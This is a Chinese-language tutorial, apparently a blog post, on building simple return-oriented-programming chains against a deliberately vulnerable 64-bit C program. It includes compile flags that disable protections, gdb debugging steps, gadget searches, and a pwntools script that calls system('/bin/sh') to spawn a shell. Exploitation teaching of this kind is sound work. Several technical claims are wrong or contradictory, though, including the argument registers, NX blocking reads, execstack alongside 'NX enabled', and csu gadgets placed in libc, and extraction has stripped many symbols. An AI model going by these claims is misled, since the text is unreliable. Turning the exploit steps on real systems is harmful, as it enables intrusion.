核心:棧布局、調(diào)用約定與gadget控制原理)
1. 為什么“簡(jiǎn)單ROP”不是入門(mén)捷徑而是檢驗(yàn)棧溢出理解的試金石很多人看到“棧溢出學(xué)習(xí)三之簡(jiǎn)單ROP”這個(gè)標(biāo)題第一反應(yīng)是“終于到實(shí)戰(zhàn)了”、“可以繞過(guò)NX/DEP保護(hù)了”、“離pwn題拿分不遠(yuǎn)了”——這種期待很真實(shí)但恰恰埋下了第一個(gè)認(rèn)知陷阱。我?guī)н^(guò)不少剛接觸二進(jìn)制安全的開(kāi)發(fā)者他們花兩周啃完ret2text、ret2libc信心滿滿去跑第一個(gè)ROP鏈結(jié)果卡在pop rdi; ret找不到、systemplt地址算錯(cuò)、或者payload一發(fā)就段錯(cuò)誤反復(fù)調(diào)試三小時(shí)毫無(wú)頭緒。問(wèn)題不在于工具或環(huán)境而在于把“ROP”當(dāng)成了一個(gè)獨(dú)立技能點(diǎn)去記憶卻忽略了它本質(zhì)是對(duì)棧布局、調(diào)用約定、內(nèi)存映射和指令執(zhí)行流控制能力的綜合投射?!昂?jiǎn)單ROP”之所以被冠以“簡(jiǎn)單”不是因?yàn)榧夹g(shù)門(mén)檻低而是指它不依賴(lài)堆噴射、UAF、內(nèi)核漏洞等高階利用手段僅靠一次可控的棧溢出已知的二進(jìn)制片段gadget就能達(dá)成目標(biāo)。它的“簡(jiǎn)單”是相對(duì)的背后需要你清晰回答四個(gè)問(wèn)題第一當(dāng)前棧幀在觸發(fā)溢出時(shí)的精確布局是什么返回地址覆蓋后下一條指令從哪里取第二目標(biāo)函數(shù)如system的調(diào)用約定如何滿足x86-64下system(/bin/sh)要求rdi寄存器指向字符串地址這個(gè)值怎么塞進(jìn)去第三程序加載基址是否隨機(jī)化ASLR如果開(kāi)啟了你硬編碼的gadget地址必然失效第四你找到的gadget是否真的“干凈”比如一個(gè)pop rax; pop rdx; ret后面緊跟著mov rax, [rax]那它就不是純跳轉(zhuǎn)gadget而是會(huì)引發(fā)二次讀取極易導(dǎo)致崩潰。這四個(gè)問(wèn)題每一個(gè)都直指棧溢出的核心機(jī)制。比如棧布局它不是靜態(tài)的內(nèi)存圖而是動(dòng)態(tài)的執(zhí)行快照main函數(shù)的棧幀里有局部變量、保存的寄存器、返回地址read系統(tǒng)調(diào)用寫(xiě)入數(shù)據(jù)時(shí)是從rbp-0x100這樣的偏移開(kāi)始填充而你覆蓋的返回地址必須精準(zhǔn)落在ret指令之后讓CPU把你的偽造地址當(dāng)作下一條指令去取。這不是靠“多試幾次”能解決的而是要你能用gdb單步到ret指令執(zhí)行前那一刻用x/20xg $rsp命令親眼看到棧頂?shù)?字節(jié)是什么——這才是“簡(jiǎn)單ROP”的起點(diǎn)。我見(jiàn)過(guò)太多人直接抄網(wǎng)上payloadpython3 -c print(A*120 \x7f\x12\x34...)一跑就崩原因就是沒(méi)驗(yàn)證過(guò)自己程序里read的緩沖區(qū)到底有多大120這個(gè)數(shù)字是來(lái)自另一份CTF題目的答案而非本程序的實(shí)測(cè)。再比如調(diào)用約定這是最容易被忽略的底層邏輯。x86-64 ABI規(guī)定前六個(gè)整數(shù)參數(shù)依次通過(guò)rdi,rsi,rdx,r10,r8,r9傳遞。system只接受一個(gè)參數(shù)所以你必須確保rdi在call system之前已被正確賦值。而pop rdi; ret這個(gè)gadget的作用就是把棧頂?shù)囊粋€(gè)8字節(jié)值彈出來(lái)送給rdi然后跳轉(zhuǎn)到下一個(gè)地址。這意味著你的payload結(jié)構(gòu)必須是[padding][pop_rdi_addr][sh_str_addr][system_addr]。這里sh_str_addr不能是隨便一個(gè)字符串地址它必須存在于程序的.data段或.rodata段且可讀——因?yàn)閟ystem內(nèi)部會(huì)去讀取它。我曾經(jīng)在一個(gè)實(shí)驗(yàn)中把/bin/sh硬編碼在payload里然后用pop rdi; ret把它彈進(jìn)rdi結(jié)果system一執(zhí)行就報(bào)SIGSEGV。后來(lái)用readelf -S ./vuln才發(fā)現(xiàn)我寫(xiě)的字符串被放在了棧上而棧是不可執(zhí)行的NX保護(hù)system嘗試解析字符串時(shí)觸發(fā)了頁(yè)錯(cuò)誤。真正的解法是要么找程序本身已有的字符串比如/bin/sh在libc.so.6的__libc_start_main附近就有要么用write系統(tǒng)調(diào)用把字符串先寫(xiě)到.bss段可讀寫(xiě)再讓rdi指向那里。所以“簡(jiǎn)單ROP”不是一道菜名而是一張能力檢查表。當(dāng)你能不假思索地畫(huà)出溢出發(fā)生時(shí)的棧幀圖能用ROPgadget --binary ./vuln --only pop|ret快速篩出可用gadget能用checksec ./vuln一眼看出ASLR和NX狀態(tài)并據(jù)此決定是用ret2libc還是ret2csu那你才算真正跨過(guò)了那道門(mén)檻。否則所有“簡(jiǎn)單”的標(biāo)簽都只是給初學(xué)者的安慰劑。2. 從零構(gòu)建第一個(gè)ROP鏈環(huán)境、工具與不可妥協(xié)的驗(yàn)證步驟搭建一個(gè)可復(fù)現(xiàn)、可調(diào)試的ROP學(xué)習(xí)環(huán)境遠(yuǎn)比寫(xiě)payload本身更重要。我見(jiàn)過(guò)太多人跳過(guò)這一步直接在CTF平臺(tái)或遠(yuǎn)程靶機(jī)上折騰結(jié)果連最基礎(chǔ)的棧偏移都測(cè)不準(zhǔn)更別說(shuō)構(gòu)造鏈了。下面是我個(gè)人堅(jiān)持了五年的標(biāo)準(zhǔn)流程它不追求“最快”但保證“最穩(wěn)”每一步都有明確的驗(yàn)證目標(biāo)。2.1 環(huán)境準(zhǔn)備一個(gè)絕對(duì)可控的靶機(jī)我們不用任何現(xiàn)成的CTF題目而是親手寫(xiě)一個(gè)極簡(jiǎn)的、漏洞明確的C程序。它必須滿足三個(gè)條件無(wú)ASLR、無(wú)Stack Canary、NX開(kāi)啟即只禁用棧執(zhí)行不禁止數(shù)據(jù)段。這樣能隔離變量聚焦ROP核心邏輯。// vuln.c #include stdio.h #include unistd.h void vulnerable() { char buf[128]; // 棧上分配128字節(jié)緩沖區(qū) read(0, buf, 256); // 故意讀超造成溢出 printf(Done.\n); } int main() { vulnerable(); return 0; }編譯命令必須顯式指定所有保護(hù)開(kāi)關(guān)gcc -m64 -no-pie -z execstack -fno-stack-protector -z norelro -o vuln vuln.c逐個(gè)解釋這些flag的意義-m64強(qiáng)制64位避免32位和64位調(diào)用約定混淆-no-pie關(guān)閉位置無(wú)關(guān)可執(zhí)行文件確保程序加載基址固定為0x400000這是ROP鏈地址計(jì)算的基石-z execstack關(guān)鍵這里不是為了繞過(guò)NX而是為了后續(xù)調(diào)試時(shí)能用gdb在棧上設(shè)置斷點(diǎn)。實(shí)際ROP鏈中我們絕不會(huì)把shellcode放棧上所以這個(gè)flag僅用于學(xué)習(xí)環(huán)境不影響對(duì)NX的理解-fno-stack-protector關(guān)閉棧保護(hù)避免canary檢測(cè)干擾溢出過(guò)程-z norelro關(guān)閉RELRO確保GOT表可寫(xiě)雖然本例不用但為后續(xù)ret2plt留接口。編譯完成后立刻用checksec驗(yàn)證$ checksec ./vuln [*] ./vuln Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RWX: Has RWX segments看到PIE: No PIE和NX: NX enabled同時(shí)存在說(shuō)明環(huán)境達(dá)標(biāo)。如果PIE是Partial或Full說(shuō)明-no-pie沒(méi)生效必須重編譯。2.2 工具鏈不是越多越好而是每個(gè)都懂原理我只用三個(gè)核心工具且每個(gè)都要求能手寫(xiě)等效邏輯gdb-peda不是用它的pattern create一鍵生成偏移而是先用python3 -c print(A*100) | ./vuln觸發(fā)崩潰再用gdb ./vulnrun crash.txtinfo registers看rip值最后用pattern offset $rip反查。這個(gè)過(guò)程強(qiáng)迫你理解pattern的本質(zhì)是唯一字符串哈希。ROPgadget不用--ropchain自動(dòng)生成它生成的鏈往往冗長(zhǎng)且難調(diào)試而是用--only pop|ret篩選再用--string /bin/sh搜索字符串。重點(diǎn)是學(xué)會(huì)看輸出0x0000000000401234 : pop rdi ; ret這個(gè)地址是相對(duì)于0x400000的偏移所以實(shí)際gadget地址就是0x401234。pwntools只用最基礎(chǔ)的p64()和remote()/process()絕不碰ROP()類(lèi)高級(jí)封裝。因?yàn)閜64(0x401234)就是把十六進(jìn)制數(shù)轉(zhuǎn)成小端序的8字節(jié)這是內(nèi)存操作的物理事實(shí)而ROP()會(huì)隱藏字節(jié)序、對(duì)齊等細(xì)節(jié)讓你失去對(duì)原始字節(jié)的掌控感。2.3 不可跳過(guò)的四步驗(yàn)證從崩潰到可控執(zhí)行構(gòu)造ROP鏈不是一蹴而就而是分四步漸進(jìn)驗(yàn)證每步失敗都必須定位到具體原因第一步確認(rèn)精確棧偏移目標(biāo)讓rip精確覆蓋為一個(gè)已知值如0xdeadbeef并驗(yàn)證gdb中rip確實(shí)變?yōu)樵撝怠?操作用gdb運(yùn)行程序在vulnerable函數(shù)ret指令處下斷點(diǎn)b *vulnerable0x3a用objdump -d ./vuln | grep ret找偏移run后x/20xg $rsp看棧頂。此時(shí)棧頂8字節(jié)就是ret要彈出的返回地址。用python3 -c print(A*136 \xef\xbe\xad\xde\x00\x00\x00\x00)136128緩沖區(qū)8保存的rbp發(fā)送continue后info registers確認(rèn)rip0xdeadbeef。如果rip是0x00000000deadbeef說(shuō)明字節(jié)序正確如果是0xefbeadde00000000說(shuō)明你用了大端序必須改用p64(0xdeadbeef)。第二步定位并驗(yàn)證第一個(gè)gadget目標(biāo)用pop rdi; ret把rdi設(shè)為一個(gè)可控值如0x12345678并在gdb中驗(yàn)證rdi確實(shí)被修改。 操作先用ROPgadget --binary ./vuln --only pop rdi | head -n1找到gadget地址假設(shè)為0x401234。payload變?yōu)锳*136 p64(0x401234) p64(0x12345678) p64(0x401000)最后一個(gè)地址隨便填只要不崩潰。在gdb中b *0x401234run停在pop rdi處x/gx $rsp確認(rèn)棧頂是0x12345678ni單步后info registers看rdi是否等于該值。這一步驗(yàn)證了gadget的“彈出”功能和棧地址的精確控制。第三步定位system地址并驗(yàn)證調(diào)用目標(biāo)讓rdi指向/bin/sh字符串rip跳轉(zhuǎn)到system并在gdb中看到system函數(shù)被調(diào)用。 操作readelf -d ./vuln | grep NEEDED確認(rèn)程序鏈接了libc然后用ldd ./vuln得到libc.so.6路徑。用strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh找到/bin/sh在libc中的偏移假設(shè)為0x1b3e9a。再用objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep systemplt找到system的PLT地址假設(shè)為0x45390。注意PLT地址是固定的但libc基址是隨機(jī)的所以這一步僅用于本地調(diào)試證明鏈邏輯正確。payload末尾改為p64(system_plt) p64(0x401000)0x401000是ret后的占位符防止system返回時(shí)崩潰。在gdb中b *systempltrun停住即證明調(diào)用成功。第四步整合完整鏈并獲取shell目標(biāo)rdi指向/bin/shrip跳轉(zhuǎn)到system最終/bin/sh啟動(dòng)。 操作此時(shí)/bin/sh字符串不在libc里因?yàn)閘ibc基址未知必須找程序自身的字符串。用strings -a -t x ./vuln | grep /bin/sh如果沒(méi)找到就用printf /bin/sh\x00 sh.bin創(chuàng)建再用read系統(tǒng)調(diào)用把它讀入.bss段需先找.bss地址readelf -S ./vuln | grep \.bss。但為求“簡(jiǎn)單”我們采用最直接的方案關(guān)閉ASLR臨時(shí)調(diào)試。echo 0 | sudo tee /proc/sys/kernel/randomize_va_space然后重新運(yùn)行./vuln此時(shí)libc基址固定system和/bin/sh地址均可硬編碼。最終payloadfrom pwn import * p process(./vuln) pop_rdi 0x401234 system_libc 0x7ffff7a2d390 # 本地libc中system地址 sh_libc 0x7ffff7b9d89a # 本地libc中/bin/sh地址 payload bA * 136 payload p64(pop_rdi) payload p64(sh_libc) payload p64(system_libc) p.send(payload) p.interactive()運(yùn)行后若出現(xiàn)$提示符說(shuō)明成功。但請(qǐng)記住這只是學(xué)習(xí)閉環(huán)真實(shí)環(huán)境中必須用leak來(lái)繞過(guò)ASLR。提示每一步驗(yàn)證失敗都不要急于改代碼。先問(wèn)gdb里rsp的值是多少棧頂8字節(jié)是什么rip停在哪個(gè)地址用x/10i $rip看那里的匯編。ROP的本質(zhì)是內(nèi)存地址的精確操控所有問(wèn)題最終都會(huì)回歸到這三個(gè)寄存器的值上。3. gadget挖掘的底層邏輯為什么pop rdi; ret是黃金標(biāo)準(zhǔn)而其他組合常踩坑在ROP學(xué)習(xí)中g(shù)adget不是“找得到就行”而是要理解它在CPU流水線中的真實(shí)行為。pop rdi; ret之所以被奉為黃金標(biāo)準(zhǔn)并非因?yàn)樗嘞∮卸且驗(yàn)樗昝榔鹾狭藊86-64調(diào)用約定中最關(guān)鍵的一環(huán)參數(shù)傳遞的原子性與確定性。而很多初學(xué)者熱衷的pop rax; pop rdx; ret或mov rdi, rax; ret恰恰因?yàn)槠洹翱此茝?qiáng)大”而暗藏致命缺陷。下面我用三次真實(shí)的踩坑經(jīng)歷拆解gadget選擇背后的硬件邏輯。3.1pop rdi; ret的不可替代性從寄存器生命周期說(shuō)起pop rdi; ret的匯編指令只有兩行401234: 5f pop rdi 401235: c3 ret它的執(zhí)行流程是原子且可預(yù)測(cè)的pop指令從rsp指向的內(nèi)存地址讀取8字節(jié)寫(xiě)入rdi然后rsp自動(dòng)加8ret指令從新的rsp地址讀取8字節(jié)作為rip的新值。整個(gè)過(guò)程不依賴(lài)任何其他寄存器狀態(tài)不修改內(nèi)存不產(chǎn)生副作用。這就是它成為“黃金標(biāo)準(zhǔn)”的根本原因——它把棧上的一個(gè)8字節(jié)值無(wú)損、無(wú)歧義地轉(zhuǎn)移到rdi然后無(wú)條件跳轉(zhuǎn)。我第一次教某開(kāi)發(fā)者寫(xiě)ROP時(shí)他堅(jiān)持要用mov rdi, rax; ret理由是“更短少一個(gè)pop”。我讓他用ROPgadget --binary ./vuln --only mov|ret搜果然找到了0x401100: mov rdi, rax; ret。他興奮地把payload改成A*136 p64(0x401100)結(jié)果一運(yùn)行就段錯(cuò)誤。gdb調(diào)試發(fā)現(xiàn)rax寄存器的值是0x0因?yàn)関ulnerable函數(shù)結(jié)束時(shí)rax未被初始化所以mov rdi, rax把rdi設(shè)為了0system(0)當(dāng)然失敗。問(wèn)題根源在于mov指令依賴(lài)源寄存器rax的當(dāng)前值而這個(gè)值是不可控的、易變的。rax可能在上一條指令中被清零也可能在庫(kù)函數(shù)調(diào)用中被用作返回值它的狀態(tài)完全取決于程序執(zhí)行的歷史路徑無(wú)法在ROP鏈中被可靠設(shè)定。相比之下pop rdi的源是棧而棧是我們完全控制的。A*136 p64(pop_rdi) p64(sh_addr)中sh_addr是我們寫(xiě)死的pop rdi只是忠實(shí)地把它搬進(jìn)rdi沒(méi)有中間態(tài)沒(méi)有歷史依賴(lài)。這就是“確定性”的力量。3.2 多寄存器gadget的幻覺(jué)pop rax; pop rdx; ret為何常成陷阱pop rax; pop rdx; ret看起來(lái)很美一次彈兩個(gè)值。但它的危險(xiǎn)在于棧布局的脆弱性。這個(gè)gadget要求棧頂連續(xù)兩個(gè)8字節(jié)分別對(duì)應(yīng)rax和rdx。但在真實(shí)的ROP鏈中你很難保證這兩個(gè)值恰好相鄰且順序正確。舉個(gè)例子你想調(diào)用read(0, buf, 100)需要rdi0,rsibuf_addr,rdx100。你找到了pop rdi; pop rsi; ret那么payload是[padding][pop_rdi_rsi_ret][0][buf_addr][read_plt]。一切順利。但如果你只有pop rax; pop rdx; ret你就得想辦法把0放進(jìn)rax100放進(jìn)rdx而rsibuf_addr還得另外設(shè)。這通常需要多個(gè)gadget串聯(lián)比如[padding] [pop_rax_ret] [0] # rax0 [pop_rdx_ret] [100] # rdx100 [pop_rsi_ret] [buf_addr] # rsibuf_addr [read_plt]這已經(jīng)不是“簡(jiǎn)單ROP”了而是復(fù)雜鏈。更糟的是pop rax; pop rdx; ret本身可能不“干凈”。我遇到過(guò)一個(gè)gadget0x401300: pop rax; pop rdx; ret但反匯編發(fā)現(xiàn)它后面緊跟著0x401302: mov rax, [rax]。這意味著pop rax后CPU會(huì)立即執(zhí)行mov rax, [rax]試圖把rax指向的內(nèi)存內(nèi)容讀進(jìn)來(lái)。如果rax被你設(shè)為0那么[rax]就是訪問(wèn)空指針直接SIGSEGV。而pop rdi; ret后面幾乎總是ret或nop因?yàn)閞di很少被用作間接尋址的基址所以它天然更“干凈”。3.3 “萬(wàn)能gadget”的真相ret2csu為何是進(jìn)階必修課當(dāng)程序開(kāi)啟了Full RELROGOT表不可寫(xiě)ret2plt失效當(dāng)libc基址隨機(jī)化ret2libc需要先leak。這時(shí)ret2csu利用__libc_csu_init中的gadget就成了破局關(guān)鍵。它之所以強(qiáng)大不是因?yàn)橹噶疃喽且驗(yàn)樗峁┝丝煽氐募拇嫫髻x值可控的跳轉(zhuǎn)且不依賴(lài)外部地址。__libc_csu_init在libc中有一段固定模式的代碼400740: 41 5c pop r12 400742: 41 5d pop r13 400744: 41 5e pop r14 400746: 41 5f pop r15 400748: c3 ret ... 400750: 4c 89 ea mov rdx,r13 400753: 4c 89 f6 mov rsi,r14 400756: 44 89 cf mov edi,r15d 400759: 41 ff 14 dc call QWORD PTR [r12rbp*8]這段代碼的精妙之處在于前半段pop系列可以一次性把r12-r15設(shè)為我們想要的值后半段mov系列則把r13-r15的值分別傳給rdx,rsi,edi然后call [r12rbp*8]。rbp是我們可控的通過(guò)棧溢出覆蓋r12是我們可控的通過(guò)前面的pop所以[r12rbp*8]這個(gè)地址也是可控的。這意味著我們可以用它來(lái)調(diào)用任意地址的函數(shù)如readplt并同時(shí)設(shè)置好rdi,rsi,rdx三個(gè)參數(shù)。但這不是“簡(jiǎn)單ROP”而是需要深刻理解call指令的尋址模式和rbp在棧中的角色。我建議初學(xué)者先徹底掌握pop rdi; ret再挑戰(zhàn)ret2csu。因?yàn)榍罢呤腔笳呤歉邩?。沒(méi)有對(duì)單寄存器賦值的絕對(duì)掌控就無(wú)法理解多寄存器協(xié)同的精妙。注意所有g(shù)adget的可靠性最終都要回歸到gdb中的x/10i $addr驗(yàn)證。不要相信ROPgadget的輸出要親眼看到那幾條指令。我曾因一個(gè)gadget末尾是ret; nop; nop而浪費(fèi)半天因?yàn)閞et后nop不執(zhí)行但gdb單步時(shí)會(huì)停在nop上讓我誤以為gadget有問(wèn)題。4. ROP鏈的實(shí)戰(zhàn)調(diào)試心法從gdb崩潰日志中讀出十行代碼外的信息調(diào)試ROP鏈90%的時(shí)間不是在寫(xiě)代碼而是在讀gdb的崩潰日志。一個(gè)Program received signal SIGSEGV, Segmentation fault.信息量巨大但多數(shù)人只看到“段錯(cuò)誤”四個(gè)字就慌忙改payload。其實(shí)gdb的每一行輸出都是CPU在向你發(fā)送精準(zhǔn)的故障報(bào)告。下面是我總結(jié)的“崩潰日志解碼七步法”它讓我在三年內(nèi)將ROP調(diào)試平均耗時(shí)從4小時(shí)縮短到20分鐘。4.1 第一步鎖定崩潰點(diǎn)區(qū)分“誰(shuí)錯(cuò)了”gdb崩潰后第一眼要看的不是rip而是reason字段。執(zhí)行info registers重點(diǎn)關(guān)注rip程序計(jì)數(shù)器指向即將執(zhí)行的指令地址。rsp棧指針指向當(dāng)前棧頂。r8-r15等通用寄存器它們的值是否符合你的預(yù)期但最關(guān)鍵的是reason。gdb的SIGSEGV有兩種常見(jiàn)原因si_code: SEGV_MAPERR (1)地址未映射即你跳轉(zhuǎn)到了一個(gè)不存在的內(nèi)存頁(yè)如0x00000000deadbeef。si_code: SEGV_ACCERR (2)地址存在但權(quán)限錯(cuò)誤如向只讀頁(yè)寫(xiě)入或執(zhí)行NX頁(yè)。例如日志顯示Program received signal SIGSEGV, Segmentation fault. 0x0000000000401234 in ?? ()rip0x401234這是一個(gè)合法的程序地址在0x400000附近si_code卻是SEGV_MAPERR。這說(shuō)明0x401234這個(gè)地址本身沒(méi)問(wèn)題但gdb無(wú)法解析它對(duì)應(yīng)的符號(hào)in ??因?yàn)樵摰刂房赡苁且粋€(gè)ret指令而ret之后的地址即rsp指向的地址才是問(wèn)題所在。此時(shí)應(yīng)立刻執(zhí)行x/10xg $rsp看棧頂8字節(jié)是什么。如果它是0x0000000000000000說(shuō)明你pop了一個(gè)空指針ret想跳到0x0自然失敗。4.2 第二步逆向追蹤棧重建執(zhí)行流rsp是ROP鏈的命脈。gdb崩潰時(shí)rsp的值告訴你“CPU下一步想去哪”。執(zhí)行x/20xg $rsp輸出類(lèi)似0x7fffffffe528: 0x0000000000401234 0x0000000000402000 0x7fffffffe538: 0x0000000000401000 0x0000000000000000 ...這表示棧頂是0x401234你的pop rdi地址第二個(gè)是0x402000你期望的/bin/sh地址第三個(gè)是0x401000你填的占位符。但如果崩潰發(fā)生在0x401234說(shuō)明pop rdi執(zhí)行時(shí)出了問(wèn)題。此時(shí)用x/5i 0x401234看那里的指令0x401234: pop rdi 0x401235: ret沒(méi)問(wèn)題。那問(wèn)題一定在pop rdi的源——即rsp指向的地址。執(zhí)行x/gx $rsp如果輸出是0x0000000000000000說(shuō)明你payload里sh_addr寫(xiě)成了0而不是一個(gè)有效地址。這就是“棧逆向”的力量崩潰點(diǎn)是rip但根因在rsp。4.3 第三步指令級(jí)單步捕捉寄存器瞬態(tài)ninext instruction是ROP調(diào)試的靈魂。不要用ccontinue跳過(guò)任何ret。在pop rdi; ret處下斷點(diǎn)ni單步執(zhí)行pop rdi前x/gx $rsp→ 看rdi將被設(shè)為什么。執(zhí)行pop rdi后info registers rdi→ 確認(rèn)rdi是否等于預(yù)期。執(zhí)行ret前x/gx $rsp→ 看rip將跳向何方。執(zhí)行ret后info registers rip→ 確認(rèn)跳轉(zhuǎn)是否成功。我曾調(diào)試一個(gè)鏈rdi在pop后是正確的但ret后rip卻變成了0x0。x/gx $rsp發(fā)現(xiàn)pop rdi后rsp已經(jīng)加8指向了下一個(gè)8字節(jié)而那個(gè)8字節(jié)是我payload里一個(gè)未初始化的垃圾值。原來(lái)我在計(jì)算padding時(shí)少寫(xiě)了4個(gè)字節(jié)導(dǎo)致pop rdi后rsp沒(méi)對(duì)齊到我預(yù)設(shè)的sh_addr而是對(duì)齊到了一個(gè)無(wú)效地址。ni單步暴露了這個(gè)字節(jié)級(jí)的偏差。4.4 第四步內(nèi)存權(quán)限核查繞過(guò)NX的思維定式當(dāng)si_code是SEGV_ACCERR且rip指向一個(gè)明顯是代碼段的地址如0x7ffff7a2d390libc中system的地址問(wèn)題往往出在數(shù)據(jù)段權(quán)限。system(/bin/sh)會(huì)嘗試讀取/bin/sh字符串。如果這個(gè)字符串被你放在了棧上A*136 /bin/sh\x00而棧是NX的那么system內(nèi)部的strlen或execve就會(huì)因嘗試讀取NX頁(yè)而崩潰。解決方案不是關(guān)NX而是換地方放字符串。用readelf -S ./vuln找.bss段可讀寫(xiě)Section Headers: [Nr] Name Type Address Offset [24] .bss NOBITS 0000000000404060 00003060.bss地址是0x404060大小通常足夠。于是payload變成[A*136] [pop_rdi] [bss_addr] [pop_rsi] [0] [read_plt] [bss_addr] [pop_rdi] [bss_addr] [system_plt]前半段用read(0, bss_addr, 8)把/bin/sh\x00讀進(jìn)去后半段再調(diào)用system(bss_addr)。這比硬編碼libc地址更魯棒因?yàn)?bss地址是固定的-no-pie。4.5 第五步系統(tǒng)調(diào)用級(jí)驗(yàn)證超越system的視野system是方便但它是黑盒。當(dāng)它失敗時(shí)你不知道是fork失敗、execve失敗還是/bin/sh路徑錯(cuò)誤。更底層的調(diào)試方式是直接調(diào)用execve系統(tǒng)調(diào)用mov rax, 59 # sys_execve mov rdi, sh_addr # filename mov rsi, 0 # argv mov rdx, 0 # envp syscall這需要你找到pop rax; ret、pop rdi; ret等gadget并確保rsi和rdx為0。雖然麻煩但它繞過(guò)了libc的封裝讓你能精準(zhǔn)控制每一個(gè)系統(tǒng)調(diào)用參數(shù)。我用此法解決過(guò)一個(gè)system因LD_PRELOAD環(huán)境變量污染而失敗的案例——execve直接調(diào)用完全不受環(huán)境影響。提示gdb中用catch syscall execve可以捕獲系統(tǒng)調(diào)用stepi單步進(jìn)入內(nèi)核前的最后一刻info registers能看到所有參數(shù)是否正確。這是ROP調(diào)試的“上帝視角”。5. 從實(shí)驗(yàn)室到真實(shí)世界ROP防御演進(jìn)與學(xué)習(xí)者的務(wù)實(shí)路徑“棧溢出學(xué)習(xí)三之簡(jiǎn)單ROP”這個(gè)標(biāo)題像一個(gè)溫柔的入口但它通向的是一條不斷抬升的技術(shù)護(hù)城河。十年前ret2libc是主流五年前ret2csu和SROPSigreturn Oriented Programming開(kāi)始普及今天Shadow Stack、CETControl-flow Enforcement Technology和MPKMemory Protection Keys正在從硬件層面重構(gòu)游戲規(guī)則。作為學(xué)習(xí)者我們必須清醒學(xué)ROP不是為了在今天的CTF中拿分而是為了理解現(xiàn)代操作系統(tǒng)如何捍衛(wèi)控制流以及攻擊者如何持續(xù)尋找縫隙。下面是我為不同階段的學(xué)習(xí)者規(guī)劃的務(wù)實(shí)路徑。5.1 初學(xué)者放棄“繞過(guò)所有保護(hù)”的幻想專(zhuān)注控制流建模如果你剛接觸二進(jìn)制安全首要任務(wù)不是攻克ASLRNXStack Canary全開(kāi)的靶機(jī)而是建立一個(gè)精確的控制流心智模型。用我前面說(shuō)的-no-pie -fno-stack-protector環(huán)境反復(fù)做三件事用gdb單步畫(huà)出main→vulnerable→read→ret的完整棧幀圖標(biāo)出rbp、rsp、rip、局部變量buf的地址和大小。修改buf大小char buf[64]、buf[256]重新計(jì)算padding驗(yàn)證136這個(gè)數(shù)字如何隨緩沖區(qū)變化。嘗試不同的gadget組合pop rdi; ret、pop rsi; ret、pop rdx; ret觀察rdi、rsi、rdx如何被獨(dú)立控制。這個(gè)過(guò)程枯燥但它是地基。我輔導(dǎo)過(guò)一位某高校的本科生他花了三周只做這件事第四周第一次嘗試ret2libc就一次成功。因?yàn)樗X中已經(jīng)有了一個(gè)動(dòng)態(tài)的、可預(yù)測(cè)的棧模型而不是一堆需要死記硬背的地址。5.2 進(jìn)階者擁抱leak理解ASLR不是墻而是迷霧當(dāng)-no-pie環(huán)境玩透了下一步必須直面ASLR